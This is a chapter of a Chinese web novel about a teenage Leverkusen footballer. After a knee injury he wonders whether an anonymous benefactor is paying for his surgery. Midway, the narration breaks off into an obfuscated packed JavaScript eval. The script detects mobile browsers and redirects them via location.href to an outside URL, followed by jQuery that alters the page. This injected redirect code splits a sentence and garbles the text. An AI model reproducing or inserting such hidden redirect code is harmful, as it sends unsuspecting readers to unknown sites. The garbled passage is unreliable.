2007年8月19日，下午14:37。


    勒沃库森U16对门兴格拉德巴赫U16，比赛进行到第七十三分钟。


    芬恩在右路接到传球。


    他记得这个瞬间的一切。


    对方边后卫扑上来的角度。草皮的温度。球鞋触球的部位。还有那一刻——他正准备加速——


    膝盖里有什么东西错了。


    不是“断了”。


    是错了。


    像门关错了轨道。像齿轮咬错了位置。像你喊一个人的名字，转过身，身后空无一人。


    他倒下的时候没有惨叫。


    他只是看着勒沃库森铅灰色的天空，心想：


    原来这就是结束。


    担架来的时候，他还躺在那里。


    队友围着他，他看不清是谁。有人在喊队医，有人在叫他的名字。托比亚斯在禁区里吼了一声，声音是尖的，他没有听过托比亚斯发出那样的声音。


    他想说：没事，别喊。


    但他发不出任何声音。


    他只是躺在那里，感受膝盖内部那种陌生的、空虚的松动感。


    它不是突然断掉的。


    它是慢慢错的。


    他为什么没有听见？


    队医蹲下来。


    中年男人，姓贝克尔，在勒沃库森干了十二年。他的手指按在芬恩膝盖内侧，按得很轻，但芬恩还是缩了一下。


    贝克尔没有抬头。


    “内侧半月板。”他说。不是问句。


    芬恩没有说话。


    贝克尔站起来，对旁边的助理教练说了几句什么。声音很低，芬恩只听见几个词：“核磁”、“明天”、“先固定”。


    然后他转向芬恩。


    “有两种方案。”


    他的语气很平，像在解释训练计划。


    “第一种，勒沃库森自己处理。保守康复，不手术。六到八周恢复，可以赶上赛季末。”


    他顿了顿。


    “但你的膝盖，以后就这样了。每次急停、每次变向，都会疼。能踢，但带着一颗随时会再响的定时炸弹。”


    芬恩看着他。


    “第二种，手术。慕尼黑那边有专门做青少年半月板修复的团队。做完，恢复好，和以前一样。但——”


    “勒沃库森不一定承担这个费用。”


    “你需要自己找渠道。”


    芬恩没有回答。


    “你还年轻，”他说，“恢复会比成年人好。”


    他说这话的时候，没有看芬恩的眼睛。


    他在撒谎。


    芬恩见过太多次这种表情——在芝加哥，当有人告诉你“明天会更好”的时候，他们从来不看你的眼睛。


    他没有追问。


    他只是低下头，看着自己肿胀的膝盖。


    六到八周，带着一颗定时炸弹。


    或者手术，但——“自己找渠道”。


    他有什么渠道？


    账户里那笔每月1号准时到账的钱，刚好覆盖房租、食物、交通、训练费。没有一分多余。


    他没有父母。没有积蓄。没有任何可以开口借钱的人。


    他只有一个名字——一个他自己选的、没有任何资产可以抵押的名字。


    他有什么渠道？


    “你考虑一下。”贝克尔站起来，“明天给我答复。”


    他走了。


    芬恩一个人坐在诊疗室的长凳上，左腿肿着，膝盖像一件被错误安装上去的零件。


    他能踢。


    带着疼，也能踢。


    托比亚斯膝盖也有伤，他从来没说过。那个中后卫，去年带着骨裂踢了半个赛季，没人知道。


    职业足球就是这样。谁身上没有几颗定时炸弹？


    他能踢。


    他可以就这样踢下去。


    然后呢？


    每一次急停，每一次变向，每一次想加速过掉一个人的瞬间——


    他会想起今天。


    想起草皮的温度，想起膝盖里那声闷响，想起自己躺在那里，看着天空，不知道还能不能再站起来。


    他能踢。


    但他还能成为他想成为的那个人吗？


    那个——


    他不知道自己在想谁。


    他把手掌覆在膝盖上，那片肿胀隔着皮肤发烫。


    他不知道自己还在等谁。


    二十分钟后，汉斯赶到。


    他几乎是冲进来的。芬恩从来没有见过汉斯跑，他的监护人永远是步伐稳定、从容不迫的。但今天，汉斯推开诊疗室门的时候，呼吸是乱的，大衣扣子系错了一颗。


    他停在门口，看着芬恩的膝盖。


    三秒。


    然后他走过来，在芬恩身边坐下。


    没有说话。


    芬恩也没有说话。


    很久。


    然后汉斯开口，声音很低：


    “贝克尔和我说了。”


    “两种方案。”


    芬恩点了点头。


    汉斯沉默着。


    窗外，训练场的灯光正在一盏一盏熄灭。有人结束了加练，有人收拾好了装备，有人正在往更衣室走。那些声音属于另一个世界——那个芬恩两个小时前还站在里面的世界。


    然后汉斯说：


    “慕尼黑那边，我联系过了。”


    芬恩转过头。


    “青少年半月板修复，全德最好的团队。” 汉斯没有看他，声音平稳得像在陈述实验数据，“他们愿意接收你。手术排期下周二。”


    “勒沃库森会承担——”


    他顿了一下。


    “——会承担一部分费用。”


    芬恩看着他。


    汉斯没有解释“一部分”是多少。


    没有解释为什么俱乐部的审批流程可以快到这个程度。


    没有解释他今天下午打出去的那几通电话，对方是谁，说了什么，承诺了什么。


    他只是坐在那里，像三年来每一次帮助芬恩解决问题一样——平静，可靠，从不追问。


    但芬恩知道。


    勒沃库森不会为一个U16的普通球员，专门联系慕尼黑最好的专家团队。


    勒沃库森不会为一个外国少年，在受伤后三小时内，就承诺“承担一部分费用”。


    这不是俱乐部的流程。


    这不是汉斯的能力范围。


    这不是——


    这不是又一次“善良的巧合”。


    三年前，芝加哥。


    他醒来时，床头有一张纸条，一瓶水，一个三明治，一件羽绒服。


    像一份没有寄件人的快递。


    三年后，又一份快递，正在路上。


    寄件人依然没有署名。


    ——是他吗？


    这三个字，悬在芬恩喉咙里。


    是那个人吗？


    是那个在雪地里弯腰抱起他的人吗？


    是那个写下“不要找”的人吗？


    是那个他等了三年、不知道名字、不知道位置、不知道还记不记得他的人吗？


    他张了张嘴。


    “汉斯先生……”


    汉斯看着他。


    “这个——”


    芬恩停住了。


    他发现自己不知道该怎么问。


    他从来没有问过那个人是谁。


    他从来没有问过“芝加哥那笔钱是谁给的”。


    他从来没有问过“为什么每月1号账户里会多出刚好够我活着的数字”。


    他遵守了“不要找”。


    三年。


    他以为他遵守得很好。


    他以为他不需要知道了。


    他以为——


    但现在，他躺在这里，膝盖缝着不确定的明天，面前摆着一张需要他用整个职业生涯去押注的赌桌——


    他忽然无比、无比、无比地想知道：


    ——是你吗？


    ——你会为我做这些吗？


    ——你……还记得我吗？


    他没有问出口。


    他张着嘴，喉咙像被砂纸打磨过，发不出任何声音。


    因为他害怕答案。


    他害怕汉斯说“不是”。


    害怕这真的只是又一次善良的巧合，勒沃库森某位他不认识的官员发了一次善心，慕尼黑那边刚好有一个空出来的手术排期——<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179378|196939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>害怕那个人从来不知道他受伤了。


    害怕那个人从来不知道他在等。


    害怕那个人从来没有想起过——


    芝加哥的雪夜里，有一只冻僵的小鸟，被他弯腰抱起，随手放进了一家廉价旅馆。


    然后，他转身走了。


    再也没有回来。


    “……芬恩？”


    汉斯的声音把他拉回现实。


    芬恩低下头。


    “我……”


    他的声音很轻，像从水底浮上来的气泡。


    “再给我一天时间。”


    “我想……再想想。”


    汉斯看着他。


    很久。


    然后汉斯站起身。


    “好。”


    “明天这个时候，我来听你的答案。”


    他没有问芬恩在想什么。


    他没有追问为什么需要一天。


    他只是在转身离开之前，把大衣内袋里那封没有拆开的信，往里推了推。


    有些问题，他决定不问。


    有些答案，他决定让它们再等一等。


    门关上了。


    芬恩一个人坐在诊疗室的长凳上。


    窗外，勒沃库森十一月的夜幕已经完全沉了下来。训练基地的最后一盏灯熄灭了，只剩下远处街道零星的路灯光晕，在雾气里模糊成一团团柔软的影子。


    他把手伸进口袋。


    空的。


    那张纸条在家里。在抽屉里。


    他从来没有把它带在身上。


    他以为他不需要了。


    他错了。


    ——是你吗？


    这个问题，像一颗滚烫的石子，卡在他喉咙里。


    是你吗？


    是你在三年前的那个早晨，把一张写着“不要找”的纸条，放在我的床头吗？


    是你在每一个月的第一天，让那笔刚好够我活着的钱，准时到账吗？


    是你在我不知道的地方，看着我训练、比赛、受伤、倒下——


    然后，又一次，伸出了手吗？


    是你吗？


    ——是你吗？


    他把脸埋进掌心。


    他不知道答案。


    他可能永远都不会知道答案。


    因为那个人说“不要找”。


    因为那个人不希望被找到。


    因为那个人——


    可能从来不知道，有一个孩子，把这四个字，当作圣旨，遵守了三年。


    三年。


    他从来没有找过。


    但他从来没有停止过等。


    而现在，他躺在勒沃库森诊疗室的长凳上，膝盖肿着，明天需要给一个答案——


    手术，还是不手术。


    赌一把，还是带着定时炸弹继续踢。


    把一切都押在那个“可能”上，还是——


    认命。


    他不知道该怎么选。


    他不知道慕尼黑那个“全德最好的团队”是谁帮他联系的。


    他不知道勒沃库森“承担的一部分费用”，另外那部分是谁在付。


    他不知道汉斯今天下午打出去的那几通电话，对方是谁，说了什么，承诺了什么。


    他什么都不知道。


    他只知道，三年前，有一个陌生人在雪地里弯腰抱起他。


    他只知道，那个人写下“不要找”。


    他只知道，他遵守了。


    ——但他从来没有停止过等。


    窗外的雾气越来越浓。


    路灯的光圈越来越模糊，像要融进夜里。


    芬恩坐在长凳上，很久很久。


    然后他低下头，把肿胀的膝盖轻轻抱进怀里。


    ——是你吗？


    ——如果是你，你会希望我选哪一种？


    ——你会希望我带着这颗定时炸弹，就这样踢下去，赌它不会再响吗？


    ——还是，你会希望我去做那个手术，然后花六到九个月，慢慢、慢慢地，重新跑起来？


    ——你会等我吗？


    ——你……还在等我吗？


    他没有答案。


    窗外的夜，一点一点，把他吞没。